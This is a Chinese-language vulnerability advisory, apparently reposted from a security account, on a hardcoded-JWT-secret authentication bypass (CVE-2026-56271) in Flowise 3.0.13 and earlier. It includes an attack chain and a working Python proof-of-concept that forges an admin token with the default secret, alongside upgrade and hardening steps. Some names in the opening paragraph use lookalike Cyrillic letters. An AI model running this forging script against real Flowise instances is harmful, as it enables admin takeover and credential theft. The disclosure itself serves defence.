【高危AI漏洞预警】CVE-2026-56271Flowise硬编码JWT密钥认证绕过漏洞

admin 2026-07-14 05:51:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: Flowise3.0.13及更早版本存在高危认证绕过漏洞(CVE-2026-56271),因企业版认证中间件使用硬编码默认JWT密钥且环境变量未配置时静默回退,攻击者可伪造管理员令牌获取平台最高权限。官方已在3.1.0版本修复,建议立即升级或配置自定义环境变量加固,并轮换敏感凭据。 综合评分: 91 文章分类: 漏洞预警,漏洞分析,漏洞POC,解决方案


cover_image

【高危AI漏洞预警】CVE-2026-56271 Flowise硬编码JWT密钥认证绕过漏洞

jufeng jufeng

飓风网络安全

2026年7月13日 16:51 北京

在小说阅读器读本章

去阅读

一、漏洞描述:

Flоԝiѕе在 3.1.0 之前的版本(受影响版本为 3.0.13及更早版本)在企业级护照认证中间件(расkаɡеѕ/ѕеrvеr/ѕrс/еntеrрriѕе/middlеԝаrе/раѕѕроrt/indех.tѕ)中使用弱硬编码默认JWT密钥(’аuth_tоkеn’、’rеfrеѕh_tоkеn’)以及默认受众和发行者值(’AUDIENCE’、’ISSUER’),当对应的环境变量(JWT_AUTH_TOKEN_SECRET、JWT_REFRESH_TOKEN_SECRET、JWT_AUDIENCE、JWT_ISSUER)未设置时应用程序会静默回退到这些公开已知的默认值,允许攻击者伪造有效的JWT并冒充任何用户包括管理员从而导致身份验证绕过

二、漏洞深度技术分析

2.1 组件背景

Flowise 是当前应用最广泛的开源低代码 AI 工作流构建平台,支持可视化搭建 LLM 应用、Agent、RAG 知识库系统,大量企业用于内部 AI 服务搭建与业务系统集成。其企业版认证中间件(passport模块)负责全平台的身份鉴权,基于 JWT(JSON Web Token)实现用户会话校验,是平台权限体系的核心组件。

2.2 漏洞根因

漏洞的核心成因是认证中间件采用了硬编码默认 JWT 密钥 + 静默回退的不安全设计:

漏洞代码位于 packages/server/src/enterprise/middleware/passport/index.ts 中,开发者在代码内写入了固定的默认值:

访问令牌密钥:auth_token

刷新令牌密钥:refresh_token

JWT 受众(audience):AUDIENCE

JWT 签发者(issuer):ISSUER

应用启动时,会优先读取 JWT_AUTH_TOKEN_SECRET、JWT_REFRESH_TOKEN_SECRET 等环境变量;若环境变量未配置,程序不会报错或阻断启动,而是静默回退到上述硬编码的公开默认值。

由于默认密钥随开源代码完全公开,任何攻击者都可以使用该密钥生成符合校验规则的 JWT 令牌,直接通过平台的身份验证,无需爆破、无需遍历账号。

2.3 完整利用链与危害

该漏洞攻击路径极短,无复杂利用条件,完整攻击流程如下:

信息探测:攻击者访问目标 Flowise 服务的 Web 界面或 API 接口,确认服务存活

令牌伪造:使用已知的默认密钥,构造包含管理员身份、超管权限的 JWT Payload,生成合法令牌

认证绕过:将伪造的令牌放入 HTTP 请求的Authorization头中,访问平台管理员接口

权限接管:成功获得超级管理员权限后,攻击者可执行所有高危操作:

查看、修改、删除所有用户与工作流配置

窃取平台配置的所有大模型 API 密钥、数据库凭据、知识库敏感数据

部署恶意工作流,结合工具调用能力实现服务器端代码执行

篡改平台配置,创建后门账号持久化控制

三、影响范围与风险评估

3.1 受影响版本

官方正式版:Flowise 3.0.13 及所有更早版本(3.1.0 版本已修复)

部署形态:源码部署、Docker 部署、一键脚本部署的所有默认配置实例均受影响

触发条件:未显式配置JWT_AUTH_TOKEN_SECRET、JWT_REFRESH_TOKEN_SECRET、JWT_AUDIENCE、JWT_ISSUER四个环境变量的部署环境

3.2 风险等级评估

该漏洞综合风险极高,核心原因包括:

攻击门槛为 0:无需任何前置权限、无需用户交互,默认配置即可被利用

影响面广:Flowise 在企业内部 AI、创业团队中部署量极大,多数用户采用默认配置启动

危害程度高:直接获取平台最高权限,结合 Flowise 的工具调用、代码执行能力可进一步渗透内网服务器

检测难度低:攻击者可通过简单的 HTTP 请求快速批量探测公网暴露的脆弱实例

四、漏洞验证 POC(合规授权测试专用)

合规声明

以下代码仅用于已获得书面授权的安全测试、漏洞验证与自检场景,严禁用于任何未授权的网络访问、攻击行为。使用者需严格遵守《网络安全法》《刑法》等相关法律法规,自行承担所有法律责任。

验证型 POC 脚本

该脚本用于验证目标 Flowise 实例是否存在漏洞,逻辑为使用默认密钥伪造管理员 JWT,调用用户信息接口判断是否成功绕过认证:

import jwt

import requests

import argparse

from datetime import datetime, timedelta

def generate_admin_jwt(default_secret=”auth_token”):

    # 构造管理员身份的JWT载荷,匹配Flowise校验字段

    payload = {

        “userId”: “default-admin-id”,

        “username”: “admin”,

        “role”: “ADMIN”,

        “iss”: “ISSUER”,

        “aud”: “AUDIENCE”,

        “iat”: datetime.utcnow(),

        “exp”: datetime.utcnow() + timedelta(hours=24)

    }

    # 使用默认硬编码密钥生成HS256算法的JWT

    token = jwt.encode(payload, default_secret, algorithm=”HS256″)

    return token

def verify_vulnerability(target_url):

    if not target_url.startswith(“http”):

        target_url = f”http://{target_url}”

    target_url = target_url.rstrip(“/”)

    admin_token = generate_admin_jwt()

    headers = {

        “Authorization”: f”Bearer {admin_token}”,

        “User-Agent”: “Mozilla/5.0 Vulnerability Check”

    }

    try:

        # 调用当前用户信息接口,验证令牌有效性

        resp = requests.get(

            f”{target_url}/api/v1/users/me”,

            headers=headers,

            timeout=10,

            verify=False

        )

        if resp.status_code == 200 and “role” in resp.text and “ADMIN” in resp.text:

            print(f”[+] 目标存在漏洞!成功伪造管理员身份绕过认证”)

            print(f”[+] 返回的管理员信息: {resp.text[:200]}”)

            return True

        elif resp.status_code == 401:

            print(“[-] 目标已加固,默认密钥无效,漏洞不存在”)

            return False

        else:

            print(f”[*] 访问异常,状态码: {resp.status_code},响应: {resp.text[:100]}”)

            return None

    except Exception as e:

        print(f”[-] 连接失败: {str(e)}”)

        return None

if __name__ == “__main__”:

    parser = argparse.ArgumentParser(description=”CVE-2026-56271 漏洞验证工具(仅授权测试使用)”)

    parser.add_argument(“target”, help=”目标Flowise地址,例如 http://127.0.0.1:3000″)

    args = parser.parse_args()

    print(“CVE-2026-56271 Flowise JWT默认密钥漏洞验证工具”)

    print(“警告:仅可在已获得授权的环境中使用,禁止非法测试\n”)

    verify_vulnerability(args.target)

POC 使用说明

运行前需安装依赖:pip install pyjwt requests

执行命令:python cve_2026_56271_poc.py <目标Flowise服务地址>

若返回 “成功伪造管理员身份绕过认证”,说明目标使用默认配置,存在该漏洞

仅可用于自有资产或授权环境的自检,禁止对公网未授权资产扫描

五、修复方案与缓解措施

5.1 官方补丁修复(首选方案)

Flowise 官方已在 3.1.0 版本中修复该漏洞,修复逻辑为移除硬编码默认值,环境变量缺失时直接阻断认证模块启动,强制用户配置自定义密钥。

所有受影响实例建议立即升级至 Flowise 3.1.0 及以上稳定版本

Docker 部署可直接拉取最新镜像:docker pull flowiseai/flowise:latest

源码部署可通过 Git 拉取最新主分支代码重新构建部署

5.2 临时加固措施(无法立即升级时使用)

若暂时无法完成版本升级,可通过手动配置环境变量彻底阻断漏洞利用,操作如下:

在部署环境的变量配置中新增以下 4 个参数,值为高强度随机字符串(建议 32 位以上,包含大小写、数字、特殊字符):

env

JWT_AUTH_TOKEN_SECRET=你的自定义高强度访问令牌密钥

JWT_REFRESH_TOKEN_SECRET=你的自定义高强度刷新令牌密钥

JWT_AUDIENCE=你的自定义受众标识

JWT_ISSUER=你的自定义签发者标识

重启 Flowise 服务使配置生效

重启后使用上述 POC 脚本验证,确认返回 401 则加固生效

5.3 边界防护补充

对公网暴露的 Flowise 服务,增加反向代理访问控制,仅允许可信 IP 访问管理后台与 API 接口

在 WAF 中添加规则,拦截携带异常 JWT 头、非业务签发的访问请求

对平台内已配置的大模型 API 密钥、数据库凭据进行轮换,避免已泄露的凭据造成次生风险

六、应急处置优先级建议

最高优先级:公网开放、默认配置部署的 Flowise 生产实例,立即执行环境变量加固或版本升级,同时排查是否存在异常访问与后门账号

高优先级:企业内部部署、包含敏感业务数据与 API 密钥的 Flowise 实例,72 小时内完成修复与凭据轮换

中优先级:个人测试、开发环境的 Flowise 实例,在下次迭代更新时同步修复

修复完成后,建议全量审计平台的操作日志,确认漏洞披露后是否存在未授权访问行为


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:飓风网络安全 jufeng jufeng《【高危AI漏洞预警】CVE-2026-56271 Flowise硬编码JWT密钥认证绕过漏洞》

人人都要学大脑|第8期 网络安全文章

人人都要学大脑|第8期

文章总结: 本文为中国电信安全网关产品线发布的内部通讯第8期,内容为排版展示与推荐阅读链接,无实质技术内容或可操作建议。 综合评分: 10 文章分类: 其他人人
评论:0   参与:  0